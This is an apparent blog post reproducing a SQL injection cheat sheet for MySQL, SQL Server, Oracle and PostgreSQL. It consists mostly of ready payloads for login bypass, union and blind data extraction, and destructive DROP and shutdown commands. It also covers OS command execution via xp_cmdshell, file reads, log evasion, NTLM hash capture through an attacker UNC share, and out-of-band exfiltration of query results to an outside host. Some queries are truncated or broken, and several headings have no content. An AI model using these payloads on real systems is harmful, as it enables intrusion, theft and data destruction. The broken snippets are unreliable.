Multiple ways to find sql injection and cheatsheet

  • -- (SM)
    DROP sampletable;--
  • # (M)
    DROP sampletable;#
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
  • DROP/*comment*/sampletable
  • DR/**/OP/*bypass blacklisting*/sampletable
  • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
  • SELECT /*!32302 1/0, */ 1 FROM tablename
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
  • ID: /*!32302 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members--

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF condition true-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If Statement

    IF condition THEN true-part; ELSE false-part; END IF; END;
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

    You can write hex like these;
  • SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + '-' + password FROM members
  • || (*MO)
    SELECT login || '-' || password FROM members
  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.
  • In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))
  • Using CONCAT() in MySQL
    This will return 'KLM'.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return 'KLM'.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O)
    This will return 'KLM'.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
    This will return 'KLM'.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
  • CHAR() (SM)
    Convert an integer of ASCII.

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

UNION — Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S)
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
  • SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  • MySQL (M)
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ….
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234

Error Based — Find Columns Names

Finding Column Names with HAVING BY — Error Based (S)

In the same order,

  • ‘ HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.


  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(columntofind) from users-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  • If you are not getting an error it means column is numeric.
  • Also you can use CAST() or CONVERT()
  • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
    No Error - Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...
  • Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also, you can use insert, update statements or in functions.

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

  1. Create table foo( line varchar(8000) )
  2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
  3. Drop temp table, and repeat for another file.


Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

Some Special Tables in SQL Server (S)

  • Error Messages
  • Linked Servers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread)
  3. xp_regaddmultistring
  4. xp_regdeletekey
  5. xp_regdeletevalue
  6. xp_regenumkeys
  7. xp_regenumvalues
  8. xp_regread
  9. xp_regremovemultistring
  10. xp_regwrite
    exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
    exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  11. Managing Services (xp_servicecontrol)
  12. Medias (xp_availablemedia)
  13. ODBC Resources (xp_enumdsn)
  14. Login mode (xp_loginconfig)
  15. Creating Cab Files (xp_makecab)
  16. Domain Enumeration (xp_ntsec_enumdomains)
  17. Process Killing (need PID) (xp_terminate_process)
  18. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  19. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

Shutdown SQL Server (S)

When you’re really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
  • Using Dirty Tricks
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select from (SELECT (SELECT COUNT( AS rid FROM sysobjects i WHERE< AS x, name from sysobjects o) as p where p.x=3) as int
  • Select from (SELECT (SELECT COUNT( AS rid FROM sysobjects i WHERE xtype='U' and< AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

Finding Database Structure in Oracle (O)

Getting User defined Tables


Getting Column Names


Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20–30 seconds. database API connection or script can be timeout.


This is just like sleep, wait for specified time. CPU safe way to make database wait.

Real World Samples

  • Are we ‘sa’ ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--


Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10);
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
  • {INJECTION} = You want to run the query.
  • If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security reasons(!). So if you add — sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
  2. product.asp?id=5-1
  3. product.asp?id=4 OR 1=1
  4. product.asp?name=Book
  5. product.asp?name=Bo'%2b'ok
  6. product.asp?name=Bo' || 'ok (OM)
  7. product.asp?name=Book' OR 'x'='x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users
  • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
  • Write query into a new file (can not modify existing files)
  • UDF Function
  • create function LockWorkStation returns integer soname 'user32';
  • select LockWorkStation();
  • create function ExitProcess returns integer soname 'kernel32';
  • select exitprocess();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
  • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
  • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile
  • By default it’s not available !
  • create table foo( line blob );
    load data infile 'c:/boot.ini' into table foo;
    select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
    Enumeration data, Guessed Brute Force
  • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

  • MD5()
    MD5 Hashing
  • SHA1()
    SHA1 Hashing
  • ENCODE()
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • SCHEMA()
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s unfiltered in another action. This is common hidden layer problem.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}
  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}
  • {INJECTION} = You want to run the query.


  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘\\’)))
    Makes a NBNS query request/DNS resolution request to
  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\\\share\\output.txt’)
    Writes data to your shared folder/file
  • {INJECTION} = You want to run the query.


  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||’’) FROM DUAL)
    Sniffer application will save results
  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs
  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’’) FROM DUAL)
    You need to sniff dns resolution requests to
  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’’,80) FROM DUAL)
    You need to sniff dns resolution requests to
  • {INJECTION} = You want to run the query.

Vulnerability Classification and Severity Table

ClassificationID / SeverityPCI v3.16.5.1PCI v3.26.5.1OWASP 2013A1CWE89CAPEC66WASC19HIPAA164.306(a), 164.308(a)CVSS 3.0 ScoreBase 10 (Critical)Temporal 10 (Critical)Environmental 10 (Critical)CVSS Vector String



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store